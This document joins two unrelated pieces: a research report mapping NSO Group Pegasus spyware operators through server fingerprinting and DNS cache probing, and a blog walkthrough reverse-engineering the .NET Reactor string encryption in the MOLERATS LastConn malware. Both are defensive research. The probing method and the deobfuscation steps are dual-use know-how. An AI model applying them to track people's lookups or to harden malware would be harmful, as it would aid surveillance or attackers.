After studying the behavior of several suspected new Pegasus servers, we developed fingerprints ξ1, ξ2, and ξ3, and a technique that we call Athena. Fingerprint ξ1 is a Transport Layer Security (TLS) fingerprint. Fingerprints ξ2 and ξ3 represent two different proxying configurations we observed. We considered a server to be part of NSO Group’s infrastructure if it matched ξ1 and also one of ξ2 or ξ3. We then used Athena to group our fingerprint matches into 36 clusters. We believe that each cluster represents an operator of NSO Pegasus spyware, though it is possible that some may represent demonstration or testing systems. As we have done in the past when reporting on vendors of targeted malware, we have chosen to withhold publication of specific fingerprints and techniques to prevent harm that may result from external parties generating a list of NSO Group domains using these methods.
### Charting the Rebirth of Pegasus
NSO Group apparently told business associates that our August 2016 report and disclosures of their exploits to Apple “…disrupted their work for around 30 minutes before they… resumed operations.” Our scanning of NSO Group’s infrastructure tells a somewhat different story.
Twelve of the servers that were shut down before we published Million Dollar Dissident (we call these Version 2 servers) were back online in a September 25, 2016 scan and stayed online mostly continuously until an August 10, 2017 scan. These may have been C&C servers for clients that wished to continue monitoring old infections. We saw the first Version 3 server in a September 5, 2017 scan, less than two weeks after Million Dollar Dissident. Approximately one month after Million Dollar Dissident, we saw what appeared to be seven operators online. Two months after our report, we saw 14 operators online.
## 3. DNS Cache Probing Results
This section describes the results of our DNS Cache Probing study to identify suspected Pegasus infections.
### Background
We used the technique that we call Athena to cluster the IP addresses that matched our Pegasus fingerprints into what we believe are 36 distinct operators; each operator makes use of multiple IP addresses. We give each operator an Operator Name drawn from national symbols or geographic features of the country or region that appears to be targeted. For each IP address used by the operator, we extracted a domain name from its TLS certificate. We coded the domain names to generate a Suspected Country Focus and assessed whether there were Political Themes in the domains, which might suggest politically motivated targeting. We then performed DNS cache probing to generate a list of countries in which there are Possible Infections associated with the operator.
### Operators Focusing on the Americas
We identified five or six operators that we believe are operating in the Americas. One operator that we call MACAW may be focused on Honduras or neighboring countries because it made use of two interesting domain names showing a possible link to Honduras (politica504[.]com and eltiempo-news[.]com). However, our DNS cache probing technique did not identify any suspected infections relating to this system.
At the time of our June 2017 Reckless Exploit report about the abuse of NSO Group’s Pegasus spyware in Mexico, there were four operators using domain names that suggested a link to Mexico: RECKLESS-1, RECKLESS-2, PRICKLYPEAR, and AGUILAREAL. RECKLESS-1 and RECKLESS-2 employed some domain names containing political themes. Operators RECKLESS-1 and RECKLESS-2 are so named because they were swiftly and completely shut down following publication of our report. Operators PRICKLYPEAR and AGUILAREAL were partially shut down: two or three servers for each remained online. One month after publication, in July 2017, the first domain names for a new operator, MAYBERECKLESS, that would focus on Mexico were registered. The MAYBERECKLESS domains began matching our fingerprint in September 2017. MAYBERECKLESS may be a continuation of RECKLESS-1 or RECKLESS-2. Also in September 2017, the remaining servers from PRICKLYPEAR and AGUILAREAL were supplemented with new servers.
| Operator name | Dates operator was active | Suspected country focus | Political themes? | Suspected infections |
|--------------------|---------------------------|-------------------------|-------------------|----------------------|
| RECKLESS-1 | Sep 2016 – Jun 2017 | Mexico | Yes | – |
| RECKLESS-2 | Oct 2016 – Jun 2017 | Mexico | Yes | – |
| MAYBERECKLESS | Sep 2017 – present | – | – | Mexico |
| PRICKLYPEAR | Oct 2016 – present | Mexico | – | Mexico, USA (Arizona)|
| AGUILAREAL | Sep 2016 – present | Mexico | – | Mexico |
| MACAW | Nov 2017 – present | Honduras | Yes | – |
### Operators Focusing on Africa
We identified five operators that we believe are focusing on Africa. One operator that we call REDLIONS uses frontend domains that appear to be almost exclusively written in the French language, including two politically themed domains. We found DNS cache probing hits for REDLIONS in Togo. Because we did not perform our DNS cache probing study until July 2018, we did not have the opportunity to probe one operator, AK47, which shut down in July 2017. Operators ATLAS and GRANDLACS also made use of politically themed domains.
| Operator name | Dates operator was active | Suspected country focus | Political themes? | Suspected infections |
|--------------------|---------------------------|-------------------------|-------------------|----------------------|
| REDLIONS | Mar 2017 – present | – | Yes | Togo |
| ATLAS | Aug 2017 – present | Morocco | Yes | Algeria, Côte d’Ivoire, France, Morocco, Tunisia, UAE |
| GRANDLACS | Jun 2017 – present | Great Lakes region of Africa | Yes | Kenya, Rwanda, South Africa, Uganda |
| MULUNGUSHI | Feb 2018 – present | Zambia | – | South Africa, Zambia |
| AK47 | Dec 2016 – Jul 2017 | Mozambique | – | – |
### Operators Focusing on Europe
We identified five operators that we believe are focusing on Europe. Two systems that we call TURUL and CHEQUY appear to have a Hungarian and Croatian focus in their frontend domain names, but we did not find any DNS cache probing hits for these systems.
| Operator name | Dates operator was active | Suspected country focus | Political themes? | Suspected infections |
|--------------------|---------------------------|-------------------------|-------------------|----------------------|
| ORZELBIALY | Nov 2017 – present | Poland | – | Poland |
| EDELWEISS | Jul 2017 – present | Switzerland | – | Switzerland |
| 5LATS | Mar 2018 – present | Latvia | – | Latvia |
| TURUL | Feb 2018 – present | Hungary | – | – |
| CHEQUY | Nov 2016 – present | Croatia | – | – |
### Operators Focusing on the Middle East
We identified 12 operators that we believe are focusing on the Middle East. One operator, PEARL, appears to be focused on Bahrain. One operator, KINGDOM, was behind the recent targeting of an Amnesty staffer and a Saudi Arabian activist abroad. Operator PEARL used politically themed domain names.
| Operator name | Dates operator was active | Suspected country focus | Political themes? | Suspected infections |
|--------------------|---------------------------|-------------------------|-------------------|----------------------|
| PEARL | Jul 2017 – present | Bahrain | Yes | Bahrain, Qatar |
| FALCON | Oct 2016 – present | UAE | Yes | UAE |
| BABYFALCON | May 2018 – present | GCC Region | – | UAE |
| MAYBEFALCON | Sep 2016 – present | – | – | UAE |
| BLACKBIRD | Sep 2016 – present | – | – | Greece, Jordan, Kuwait, Libya, Qatar, UAE, UK, USA, Yemen |
| KINGDOM | Oct 2017 – present | Saudi Arabia | – | Bahrain, Canada, Egypt, France, Iraq, Jordan, Lebanon, Morocco, Qatar, Saudi Arabia, Turkey, UK |
| MIDDLE | Sep 2016 – present | – | – | France, Jordan, Lebanon, Oman, Qatar, Tunisia, Turkey, UAE |
| OLIVE-1 | Jun 2017 – present | – | – | Israel |
| OLIVE-2 | Aug 2017 – present | – | – | Israel |
| OLIVE-3 | Dec 2016 – present | – | – | Israel |
| OLIVE-4 | Oct 2016 – present | – | – | Israel |
| DOME | Mar 2018 – present | – | – | Israel, Netherlands, Palestine, Qatar, Turkey, USA |
### Operators Focusing on Asia
We identified five operators that we believe are focusing on Asia. One operator, GANGES, used a politically themed domain.
| Operator name | Dates operator was active | Suspected country focus | Political themes? | Suspected infections |
|--------------------|---------------------------|-------------------------|-------------------|----------------------|
| CHANG | Jan 2018 – present | Asia | – | Thailand |
| GANGES | Jun 2017 – present | – | Yes | Bangladesh, Brazil, Hong Kong, India, Pakistan |
| MERLION | Dec 2016 – present | – | – | Singapore |
| TULPAR | Feb 2017 – present | Kazakhstan | – | Kazakhstan |
| SYRDARYA | Sep 2016 – present | Uzbekistan | – | Kazakhstan, Kyrgyzstan, Tajikistan, Turkey, Uzbekistan |
### Highly Customized Operators with Unclear Focus
We identified three operators with an unclear focus, which all appeared to use a large degree of customization in their operations.
Operator SUPERSIZE (active Sep 2016 – present) had by far the largest Pegasus deployment based on number of domain names; we found 118 domain names belonging to SUPERSIZE. We found interesting DNS cache hits in Israel and Bahrain, but did not have enough information to determine whether these might be suspected infections. It may be the case that SUPERSIZE was monitoring relatively few people with a relatively large amount of infrastructure, or that some of SUPERSIZE’s targets may have been outside areas we could measure with DNS cache probing, or that SUPERSIZE was operating in an especially stealthy manner with targets under sporadic, rather than continuous, surveillance.
Operator SNEAK (active Oct 2016 – present) had infrastructure that appeared to reflect a high level of customization, including running C&C servers on nonstandard ports, and making use of dynamic DNS services. SNEAK was the operator that accidentally reused some of its old infrastructure, facilitating our continued visibility into NSO Group’s infrastructure after our Million Dollar Dissident report. We found interesting DNS cache hits on this system in Syria, Lebanon, Qatar, the Netherlands, and the United States, but did not have enough information to determine whether these might be suspected infections.
Operator PARTY (active May 2017 – present) used domain names with extremely long TTLs. We found interesting DNS cache hits on this system in Syria and Lebanon, but did not have enough information to determine whether these might be suspected infections.
## 4. DNS Cache Probing Technique
### Background on DNS and Cache Probing
When a user (or a computer program) instructs a computer or mobile device to communicate with a domain name (e.g., www.citizenlab.ca), the device first sends a request to a Domain Name Service (DNS) server, in order to learn the IP address corresponding to the domain name. By default, the device communicates with a DNS server maintained by the ISP or telecom company to which the device is connected.
DNS servers cache mappings between IP addresses and domain names temporarily, typically for a duration specified by the owner of the domain name. When a device looks up a domain name that is not in the server’s cache, the server contacts other DNS servers to resolve the domain name “recursively” and then stores the record in the cache. When a device looks up a domain name that is already in the server’s cache, the server returns the record from the cache, along with a time to live (TTL) value, that indicates when the server will expire the record from the cache. If the TTL value returned by the server is less than that set by the owner of the domain, then it is likely that the record returned by the DNS server was present in the server’s cache, and thus was looked up by some other ISP user relatively recently.
One can also send a query to a DNS server with the Recursion Desired flag set to 0 (called a nonrecursive query), indicating to the server that it should only consult its cache before responding; if the record is not in the cache, the server should not contact other servers to attempt to resolve the domain and should not add anything to its cache. Some DNS servers may choose to not respect this flag.
Sending queries (whether nonrecursive or recursive) to a DNS server for the purpose of observing less-than-full TTLs is a measurement technique called DNS cache probing or DNS cache snooping.
### Ethics of DNS Cache Probing
In keeping with the growing emphasis on ethics in network measurement research, we considered the impacts of our technical activities on persons that are not the targets of our research, and sought to minimize the likelihood of any disruption. Notably we examined the possibility of costs to users, service disruption, or unwanted warnings from their ISPs. We believe that this research was conducted in a manner that mitigates these risks, and serves the public interest.
Firstly, we considered the possibility that users might incur costs or service disruption as a result of our DNS Cache Probing. We believe that this is a highly unlikely outcome, given the small number of requests made during the activity. As deployed, the technique results in fewer than one request per second per IP address, and thus is less than one kilobyte per second. The total traffic is thus less than 100 megabytes per day. To further minimize load on the authoritative name servers for the domains that we are probing, we use nonrecursive queries only. As a result, we do not anticipate costs incurred by users, or bandwidth degradation.
We determined that it was unlikely that users would receive unwelcome inquiries from their ISPs, or other authorities, as the result of our DNS cache probing. Certainly, open DNS forwarders are a major Internet security risk, as they may be employed in DNS amplification DDoS attacks. Such high-volume attacks might come to the notice of ISPs or other authorities and trigger inquiries or sanction by ISPs. DNS Cache Probing, in contrast, is a very low-volume activity. If an open DNS operator has not already received a contact from their ISP, we think it very unlikely that this technique will trigger contacts, since it does not look ‘attack-like.’
At the time of writing, we are unaware of any evidence of DNS Cache Probing used in malicious real-world attacks. As the technique of DNS Probing continues to be developed as a research tool, it will be important to ensure that it continues to be used in ways that do not present privacy and security concerns.
### Finding Suitable DNS Forwarders
We first develop a list of suitable DNS forwarders. We run three tests to answer the following questions:
1. Does the forwarder appear to use resolvers that honour nonrecursive queries? We send a nonrecursive query for a randomized subdomain of a domain we control and check if we get a response. The randomized subdomain resolves to an IP but should not be in any cache. We check each IP twice; if we ever get a correct answer, then the IP does not honour nonrecursive queries.
2. Which resolvers does the forwarder use? We run a customized nameserver for a domain we control; the nameserver returns the source IP of an incoming DNS query as one of the answers in the response. We query each IP 10 times with a recursive query for a randomized subdomain of the domain we control and collect the set of IPs returned by our nameserver.
3. Is the forwarder likely to have access to an interesting cache? We query each IP 10 consecutive times with a recursive query for google.com. If an IP returns a response with an IP in Google’s autonomous system at least once, then the forwarder may have access to an interesting cache.
A DNS forwarder is suitable if:
- It appears to honour nonrecursive queries.
- The forwarder appears to only ever forward requests to resolvers in a single Autonomous System (AS).
- The (single) AS of the forwarder’s resolvers is designated as “Transit/Access” by CAIDA’s AS Classification dataset.
- The AS of the forwarder’s resolvers is not equal to any AS where we found a match for an NSO Group server.
- The forwarder is not itself a resolver; in other words, the forwarder IP does not appear amongst the resolvers.
- The forwarder is likely to have access to an interesting cache.
Each time we scanned, our list included ~38,000 suitable forwarders, excluding forwarders in China.
### Understanding DNS Cache Probing False Positives
DNS cache probing can produce false positives, i.e., the DNS cache probing technique reports that the domain is in the cache, when it is in fact not in the cache, or when we caused it to be in the cache. This can happen in the following three cases:
1. A DNS forwarder does not honor nonrecursive queries all of the time; it may forward some subset of our queries to a resolver that does not honor nonrecursive queries. This can result in our query adding the domain to the cache.
2. A DNS forwarder might return the entry that we added to the cache in (1). This can happen even for DNS forwarders that do honour nonrecursive queries 100% of the time.
3. Automated processes or curious researchers may observe our DNS cache probing and send DNS queries for the domain names we are probing; this may add the domain names to caches we are probing.
We conducted several control experiments to determine how best to exclude false positives. In our control experiments, we selected 50 domain names with a wildcard record and an authoritative TTL of at least 300 seconds, then generated a random string to use as a subdomain, and continuously queried all 50 domains (with the subdomain) on all resolvers once roughly every 300 seconds in a fixed order, at a rate ensuring each domain was queried at least once every 300 seconds. We ran the experiment for 24 hours.
Any results we received during the control experiments we treated as false positives. We developed a set of heuristics to reduce the false positive rate to 0 in these experiments, with the idea that these same heuristics might help us eliminate many false positives from our DNS cache probing study of the spyware domains. These are the conditions we applied to eliminate false positives from our results:
1. Exclude duplicate observations of the same lookup: For each DNS server response, we check to see if the observation is a duplicate.
2. Exclude possible duplicate observations even if clocks run at an incorrect rate: For each ASN, we excluded a record if its TTL was less than or equal to the immediately prior record for that domain returned by any DNS forwarder for the same ASN (or IP).
3. Exclude any observation with an improper TTL: We exclude all observations with TTLs larger than the TTL set by the domain name’s authoritative DNS server, as well as all observations with TTLs within 2 of the authoritative TTL.
4. Exclude all responses from DNS forwarders that ever return a wrong answer: We also excluded all responses from a DNS forwarder if it ever returned an incorrect IP address in a response for the query.
5. Exclude all responses from caches in the same country as the domain name hosted: For a given domain name, we excluded all DNS cache responses coming from DNS forwarders for ASNs in the same country where the domain name was hosted.
6. Exclude infrequent responses: Unless resolvers in a given ASN returned at least four responses for a given domain that were not otherwise excluded, we excluded the responses for that domain from the ASN.
Our conditions for excluding results were very liberal, and could result in false negatives. Note that when we say we excluded a response, we mean that the response was not included as a final result. We continued to consider excluded responses as reasons to exclude other responses.
### Why Is a Domain Name in the Cache?
There are many reasons a domain name may be in a cache. We are only interested in cache entries that might arise from suspected infections. We briefly introduce our working model of how NSO’s Pegasus spyware deployments operate, supported by evidence from a staged shutdown of NSO Group’s infrastructure.
Our mental model of deployment of the Pegasus spyware is that most operators have two C&C servers to which most infections talk, and that the rest of their infrastructure comprises domains that are used in exploit links. After reports concerning the use of Pegasus spyware were published by Amnesty International and Citizen Lab on August 1, 2018, a staged shutdown of the Pegasus infrastructure was conducted over a period of several days. At first, the bulk of frontend domains appeared to be shut down, while a handful of final domains remained active for each operator. We believe that these were the C&C servers and that the domains were kept online so that infected devices would have an opportunity to beacon back and receive instructions on new C&C servers with which they should communicate.
If a given operator had exactly two final domains, we assumed that these were C&C servers. If an operator had more than two final domains, we assumed that some subset of size 2 were the C&C servers. We did not identify any operator for which our DNS cache probing technique reported hits on different subsets of size 2 from the final domains. We then filtered our responses for ASNs which had hits on both hypothesized C&C domains and considered these to be suspected infections.
## The Experiments
Once we had developed our technique for reducing false positives, we DNS cache probed for all domains we linked to NSO Group’s infrastructure that were active and matching our fingerprints. We queried domains at least once per their period of authoritative TTL. Because of the large number of domains and servers, and our desire to conserve bandwidth, we alternated which domains we were probing. Each domain name was probed for at least three 24-hour periods.
### Possible Limitations
Factors such as the use of VPNs and satellite Internet connections may skew our geolocation results. Thus, the country mapping should serve as a guide for further investigation, rather than ironclad evidence of monitoring. Additionally, it is possible that unusual configurations of DNS forwarders could defeat our filtering techniques and introduce false positives.
We are not sure what percentage of all DNS queries are observable by our method and note that the percentage could vary greatly across different countries and ISPs. Therefore, it is possible that our technique has missed a significant number of infections and may have failed to measure certain countries or ISPs entirely. Importantly, operators that appear in our results to be operating in a single country may actually be operating in multiple countries. We did not conduct any DNS cache probing of IPs in Mainland China.
## 5. Conclusion
This report identifies 45 countries with suspected Pegasus spyware infections operated by at least 33 likely NSO customers. We determined this by performing DNS cache probing on domain names we extracted from command and control (C&C) servers matching a newly devised fingerprint for Pegasus. We grouped the C&C servers, with each group representing a single Pegasus operator using a technique that we call Athena. The resulting global map of NSO Pegasus infections reveals several issues of urgent concern.
### Known spyware abusers operating Pegasus
While some NSO customers may be using Pegasus spyware as part of ‘lawful’ criminal or national security investigations, at least six countries with significant Pegasus operations have a public history of abusing spyware to target civil society.
Three Pegasus operators appear to be operational in Mexico, despite the extensive evidence of abuses of Pegasus to target Mexican civil society uncovered by Citizen Lab and our partners in 2017. The findings of widespread targeting in Mexico led to international outcry and a criminal investigation. However, they do not appear to have resulted in the termination of all of the Pegasus operations in that country.
In 2016, Citizen Lab exposed the use of Pegasus to target Ahmed Mansoor, a UAE-based human rights defender. Despite this disclosure and resulting public outcry, it appears that a suspected UAE-based Pegasus deployment remains operational. Most recently, a Saudi Arabia-linked campaign appears to be continuing, despite a recent investigation linking it to the targeting of an Amnesty International staff member and a Saudi activist.
Bahrain, another country that may host a Pegasus operator, has a notorious history of abusing spyware to target civil society. Notably, the operator linked to Bahrain appears to be using domain names with political themes, which is highly concerning, given that country’s history of abuses of surveillance technology. The Togo-linked operator also appears to be using politically-themed domains. Togo has a history of authoritarian rule and human rights abuses.
### Widespread cross-border surveillance with Pegasus
Ten Pegasus operators appear to be conducting surveillance in multiple countries. While we have observed prior cases of cross-border targeting, this investigation suggests that cross-border targeting and/or monitoring is a relatively common practice. The scope of this activity suggests that government-exclusive spyware is widely used to conduct activities that may be illegal in the countries where the targets are located. For example, we have identified several possible Pegasus customers not linked to the United States, but with infections in US IP space. While some of these infections may reflect usage of out-of-country VPN or satellite Internet service by targets, it is possible that several countries may be actively violating United States law by penetrating devices located within the US.
### Failures at due diligence, contribution to global cyber insecurity
The cases identified in this report raise serious doubts as to the depth and seriousness of NSO’s due diligence and concern for human rights protections. They also suggest that the company has a significant number of customers that maintain active infections in other countries, likely violating those countries laws. The global market for government exclusive spyware continues to grow, and as it does, more governments and security services with histories of abuse will acquire this technology. The expanding user base of spyware like Pegasus will enable a growing number of authoritarian states to pry into the digital lives of their own citizens, but also into phones and computers in pockets and purses around the globe.
### Communications with NSO Group
On 14 September 2018, Citizen Lab Director Ron Deibert sent a letter to two NSO Group principals, Mr. Omri Lavrie and Mr. Shalev Hulio, notifying them of the details of this report, explaining that we had shared an embargoed copy with journalists and offering to publish in full any response they wished to communicate on the record.
On 14 September 2018, Mr. Hulio responded by email saying “we have suggested several times in the past to meet you and your colleagues, but, unfortunately, our requests have been ignored.” The Citizen Lab Director and staff have no record of any such outreach. Moreover, the Citizen Lab does not believe that a private meeting with researchers is a proper substitute for responsible public communication on such a serious matter of public interest.
Mr. Hulio also claimed “Contrary to statements made by you, our product is licensed to government and law enforcement agencies for the sole purpose of investigating and preventing crime and terror. Our business is conducted in strict compliance with applicable export control laws.” Citizen Lab research does not speak to what statements NSO may make during marketing, sales, or export compliance. However, our research continues to demonstrate some highly concerning real-world examples of the abuse of NSO Group technology in practice. These uses have included apparent government customers of NSO Group abusing Pegasus spyware to target civil society groups, human rights defenders, lawyers, politicians, and journalists.
On 17 September 2018, we then received a public statement from NSO Group. The statement mentions that “the list of countries in which NSO is alleged to operate is simply inaccurate. NSO does not operate in many of the countries listed.” This statement is a misunderstanding of our investigation: the list in our report is of suspected locations of NSO infections, it is not a list of suspected NSO customers. As we describe in Section 3, we observed DNS cache hits from what appear to be 33 distinct operators, some of whom appeared to be conducting operations in multiple countries. Thus, our list of 45 countries necessarily includes countries that are not NSO Group customers. We describe additional limitations of our method in Section 4, including factors such as VPNs and satellite connections, which can cause targets to appear in other countries.
The NSO statement also claims the “NSO’s Business Ethics Committee, which includes outside experts from various disciplines, including law and foreign relations, reviews and approves each transaction and is authorized to reject agreements or cancel existing agreements where there is a case of improper use.” We have seen no public details concerning the membership or deliberations of this committee but encourage NSO Group to disclose them. NSO’s statements about a Business Ethics Committee recall the example of Hacking Team’s “outside panel of technical experts and legal advisors … that reviews potential sales.” This “outside panel” appears to have been a single law firm, whose recommendations Hacking Team did not always follow.
The continued supply of services to countries with problematic human rights track records and where highly-publicized abuses of spyware have occurred raise serious doubts about the effectiveness of this internal mechanism, if it exists at all.
### Update
On 18 September 2018, NSO emailed the following addendum to their previous public statement: “There are multiple problems with Citizen Lab’s latest report. Most significantly, the list of countries in which NSO is alleged to sell or where our customers presumably operate the products is simply inaccurate. NSO does not sell its products in many of the countries listed. The product is only licensed to operate in countries approved under our Business Ethics Framework and the product will not operate outside of approved countries. As an example, the product is specifically designed to not operate in the USA.”
In addition to our DNS cache probing technique showing suspected infections in the United States, we previously observed a suspected Mexican operator target a minor child in the United States with Pegasus infection attempts, including messages impersonating the US embassy. Also, as part of our Million Dollar Dissident report in 2016, we successfully infected our test phone (in the United States at the time) with a Pegasus link sent to UAE activist Ahmed Mansoor.
## Acknowledgements
Bill Marczak’s work on this project was supported by the Center for Long Term Cybersecurity (CLTC) at UC Berkeley. This work was also supported by grants to the Citizen Lab from the Ford Foundation, the John T. and Catherine D. MacArthur Foundation, the Oak Foundation, the Open Society Foundations, and the Sigrid Rausing Trust. This work includes data from Censys.
Editing and other assistance provided by Cynthia Khoo, Jeffrey Knockel, Jakub Dalek, Miles Kenyon, Adam Senft, Jon Penney, and Masashi Nishihata. |
# New TA402/MOLERATS Malware – Decrypting .NET Reactor Strings
It’s sure been a while since the last post! We’ve gone through several iterations of website design over the past few months (plus fixing all the malformed images due to the theme transfer), but should be back for good now! For this commemorative post, we’ll be diving into a recently discovered malware sample known as LastConn, a payload used by the MOLERATS APT group, which was obfuscated using .NET Reactor. The problem is, de4dot is unable to deobfuscate it, so the job falls upon us to do so. We’ll be examining the string encryption routine, replicating it in Python, testing it manually, and then automating it somewhat to extract all string related indicators from the binary, and decrypt the relevant strings! Let’s get into it!
**LastConn MD5 Hash:** D07654434D64B73FE8CB49CFB9B7E3FB
## MOLERATS: Overview
MOLERATS, also known as TA402, are a Middle Eastern based APT group known for performing intrusions against Middle Eastern Government Organisations, including Israel, the UAE, and Turkey. The most recent campaign, discovered by ProofPoint, once again targeted government organisations and organisations with diplomatic relationships in the Middle East. The prime focus of the attackers is to exfiltrate sensitive information in order to gather intelligence, using spear-phishing as an initial infection vector. In this campaign, ProofPoint discovered the threat actors utilising a somewhat new malware dubbed as LastConn.
## LastConn: Overview
LastConn is believed to be an updated version of the SharpStage backdoor, previously discovered by CyberReason back in December 2020. The SharpStage backdoor, developed in .NET, utilised DropBox API for exfiltration, and had specific checks for Arabic on the infected machine. LastConn also implemented similar checks, as well as the DropBox API for communication. One of the discovered samples utilised an obfuscator that De4Dot could not successfully deobfuscate, known as .NET Reactor.
## .NET Reactor: Overview
.NET Reactor is a powerful code protection and software licensing system for software written for the .NET Framework, and supports all languages that generate .NET assemblies. It is commercially available, and provides features such as string encryption, control flow obfuscation, and code virtualisation. A free trial is provided for the software as well, which seems to have been used by the threat actors, based on a string found in the list of decrypted strings. Talking about decrypted strings, let’s start analysing!
## Initial Analysis
Opening up the initial sample in PEStudio, we can confirm that we are dealing with a fairly large .NET binary. At a first look, my thoughts were that the main payload was packed, resulting in the large file size, however upon opening the sample in dnSpy we can see that it is not packed – in fact we can see the unobfuscated symbols in the Assembly Explorer, with classes like Dropbox.Api and Newtonsoft.Json visible.
As mentioned, .NET Reactor provides functionality to encrypt strings, obfuscate control flow, and even virtualise the .NET instructions in a similar fashion to x86 Assembly virtualisation, which, luckily in this case, the threat actors chose not to enable! Instead, the main methods of protection in this binary surround the string encryption and control flow obfuscation, as well as the addition of junk code. We can clearly see this in the entry point function, labelled as LsfApkF4M().
You’ll probably notice the junk code (subtraction of 212870 from 277629) which will always return true. However, the junk code isn’t limited to one-liners; two comparisons are performed between null and the return values from the function dQWY6qG82SAbCK3Pxa() – which will also return null. Therefore, we can now take note that a large number of functions in the binary are probably going to be made up of junk code that all return a constant value.
The main function of importance inside the entry point is at the very end, where we see the sample will execute Form1() – this is where the interesting stuff occurs. However, just before that we do encounter the very first “anti-analysis” check, which is a date check. The sample will refuse to continue execution if it has been executed after the 30th of June, 2021. While this is not the most interesting function, it does show us the first instance of a string decryption function. If the sample has been executed after the 30th of June, an exception will be thrown. The argument passed to the Exception() call is a string, and is returned from the function MYcw9uffxdYPAXmUtn.pyM1eVFCveMv9BuGJ6().
Upon checking the identified “anti-analysis” function again, and seeing that the function would display “This assembly is protected by an unregistered version of Eziriz’s .NET Reactor! This assembly won’t further work.”, it became clear that this is more likely to be a function created by .NET Reactor, to prevent the obfuscated payload working after a specific trial end date.
This particular function has the value 208444 passed as an argument, indicating that the strings are potentially stored in some kind of an array/list. Regardless, we have now found what looks to be a string encryption routine, so let’s dive in!
## String Decryption
Unfortunately for us, the control flow of this function has been highly obfuscated, with multiple goto’s, loops, and plenty of conditional statements. However, we can piece some information together just by scrolling through the lines of code. Firstly, there is an array variable which is constantly changing through the flow of execution, at least in the first loop. It changes so often it would be very time consuming to manually calculate the bytes inside the variable, and so dynamic analysis will have to be used.
Next, we can see a variable named binaryReader is referred to quite a lot throughout the function. A simple CTRL+F indicates this will contain data read from the resource 28VD5i1hSj4mcdhHmc.KIl6nvHWBWAvSEm7PO. Initially, this data does not seem to be used for anything interesting, however it is a strange blob of data and is still referenced in the function, so let’s go ahead and extract that to be used later on.
At the very end of the string decryption function, we can clearly see the variable returned is named string, and it is retrieved through the variable array3. array3 is initialized above, with a Copy() call, which will copy the data from MYcw9uffxdYPAXmUtn.aAgdDBUcpQV to array3. Another point of interest is the usage of the argument M448gdJtBGnIC5sjsy as the index – this argument is equal to 208444 in the first call to this function.
MYcw9uffxdYPAXmUtn.aAgdDBUcpQV is initialised using data inside 3 variables, and a function call: array, array2, u, and MYcw9uffxdYPAXmUtn().K5vdDAvqBdJ(). array and array2 are dynamically generated through the multiple loops and conditional statements, but u on the other hand contains the data inside binaryReader: the resource data we dumped previously.
The function MYcw9uffxdYPAXmUtn().K5vdDAvqBdJ() is our first real algorithm inside the string encryption routine. The algorithm itself is seemingly custom to .NET Reactor, and uses the data inside array to decrypt the resource data. The decrypted data is stored as an array, at which point the integer passed in as an argument to the initial string encryption routine is used as an offset.
Enough about theory, let’s go ahead and debug the sample using dnSpy to extract the data inside array and array2, and then we can move onto looking at replicating the algorithm!
Doing so should be fairly simple, as we know where the decrypted data is returned, so we just need to set a breakpoint on the function MYcw9uffxdYPAXmUtn().K5vdDAvqBdJ(), and then dump the data inside the target variables. However, we cannot place a breakpoint on that address, as dnSpy cannot create one.
Instead, we will place a breakpoint just after the try block has come to an end, so where the variable num5 is initialised. Sure enough, we can now dump both target variables – array is 32 bytes long, and array2 is 16 bytes long, indicating a possible key and IV setup. With all the pieces of the puzzle, we can now go ahead and attempt to replicate the decryption!
## Replicating Algorithms
We will be replicating the algorithm in Python, and luckily as dnSpy decompiles .NET binaries very well, it should be a somewhat quick process considering how closely decompiled .NET resembles Python. Before we do that, let’s go ahead and run the binary through de4dot, as it will provide us a nice base to work off by removing as much obfuscation as it can.
Viewing the string encryption function, it is clear that de4dot has done a great job. The biggest difference however is inside the custom algorithm, in the function mmmdDDP5Yd6().
In the images below, you can see the difference between the original binary (left), and the de4dot altered binary (right). This difference will make it a lot easier to replicate the algorithm.
So, let’s start by implementing the mmmdDDP5Yd6() function. If we were to copy and paste it (and remove the U’s), it would execute correctly, but the returned value would be incorrect. The reason for this is Python is happy to work on a 64 bit integer, and so if we were to execute the code using 4 as the value for the uint_0 variable, the result would be – 0x627474A8294. We only want to deal with 32 bit values, so we will be using & 0xFFFFFFFF in our function a lot; specifically on every line.
Running the updated code, using the same value for uint_0, we get 0xB8B4C22C. So now we know we can avoid dealing with 64 bit integers, we can jump back to the main algorithm, and replicate that!
The rest of the algorithm is fairly simple to implement, however there is 1 global variable that stands out: K2qdDH9707O. This is assigned in a call just before the string encryption algorithm, and is in fact the data stored inside the variable array. Interestingly, array2 does not seem to be used at all throughout the function, so we can ignore it from here on out.
After converting the script from .NET to Python, we can now go ahead and test it! We already have the array data, and the resource data, so all we need to figure out is how the function uses the argument to locate the correct string.
Well, we don’t need to look very hard to find it – jumping right to the end we can see a fairly simple block of code, which we covered at the beginning of the String Decryption chapter.
First, num3 is calculated by calling ToInt32() and passing MYcw9uffxdYPAXmUtn.aAgdDBUcpQV as the source data, and M448gdJtBGnIC5sjsy (the function argument) as the start index. Next, the variable array3 is initialized to the size of num3, so we can safely assume that num3 is a string size. array3 is then filled with data from MYcw9uffxdYPAXmUtn.aAgdDBUcpQV, with the start index set to M448gdJtBGnIC5sjsy + 4. This means the strings will be stored as follows: [4 BYTE SIZE][STRING].
And that is pretty much it! The string blob itself is decrypted all at once, and so the argument is only used to retrieve a specific string in the decrypted data. Putting all this together, we get the following script.
Running it with a few values we can find in the script also yields some nice results! We can also just dump all the decrypted strings to browse through, to get a good idea of what this tool is capable of doing!
Now, it is all good being able to decrypt strings with user input, but let’s take this one step further and attempt to automate it!
## Semi-Automation
Automation is where things start to become quite complex. I don’t typically focus on .NET malware, and so there’s still a number of things I have to figure out – including figuring out how to have an automated string decrypter resolve strings or even comment similar to IDAPython. Currently, the automation of this string decrypter goes as far as locating all calls to the string decryption function, extracting the offset, and returning the correct string for that function. Unfortunately, this is where that stops. I have yet to successfully overwrite the IL instructions with a simple ldstr (like this blog post), and receive the following error:
If anyone has any idea what the issue is, I’d be very grateful if you could let me know!
Regardless, let’s have a look at how we can use Python and DNLIB to locate function calls and offset arguments in the binary!
In order to load the dnlib library, we need to make sure we have pythonnet installed, which can be installed using `pip install pythonnet`. Additionally, make sure you have the DNLIB DLL downloaded! With that, we need to import the Common Language Runtime (manages execution of .NET programs), as well as the System.Reflection namespace. This can be done as follows:
```python
import clr
from System.Reflection import Assembly, MethodInfo, BindingFlag
from System import Type
```
Then, we need to load DNLIB using `clr.AddReference()`. This allows us to import functions from DNLIB, including the DotNet namespace. And now we’re ready to start parsing .NET binaries!
```python
clr.AddReference(r"dnlib")
import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes
```
